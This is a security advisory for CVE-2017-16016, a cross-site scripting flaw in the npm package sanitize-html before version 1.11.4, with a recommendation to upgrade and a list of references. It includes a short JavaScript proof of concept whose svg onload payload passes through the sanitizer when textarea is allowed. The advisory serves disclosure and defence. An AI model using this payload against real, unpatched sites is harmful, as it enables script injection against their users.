CVE-2017-16016

Description

Affected versions of `sanitize-html` are vulnerable to cross-site scripting when allowedTags includes at least one `nonTextTag`. ## Proof of Concept ```js var sanitizeHtml = require('sanitize-html'); var dirty = '!<textarea>&lt;/textarea&gt;<svg/onload=prompt`xs`&gt;</textarea>!'; var clean = sanitizeHtml(dirty, { allowedTags: [ 'textarea' ] }); console.log(clean); // !<textarea></textarea><svg/onload=prompt`xs`></textarea>! ``` ## Recommendation Update to version 1.11.4 or later.

Affected packages (1)

• npm/sanitize-htmlfrom 0, < 1.11.4

References (7)

• ADVISORYhttps://github.com/advisories/GHSA-xc6g-ggrc-qq4r
• ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2017-16016
• WEBhttps://github.com/punkave/sanitize-html/commit/5d205a1005ba0df80e21d8c64a15bb3accdb2403
• WEBhttps://github.com/punkave/sanitize-html/commit/5d205a1005ba0df80e21d8c64a15bb3accdb2403)))
• WEBhttps://github.com/punkave/sanitize-html/issues/100
• WEBhttps://npmjs.com/package/sanitize-html#discarding-the-entire-contents-of-a-disallowed-tag
• WEBhttps://www.npmjs.com/advisories/154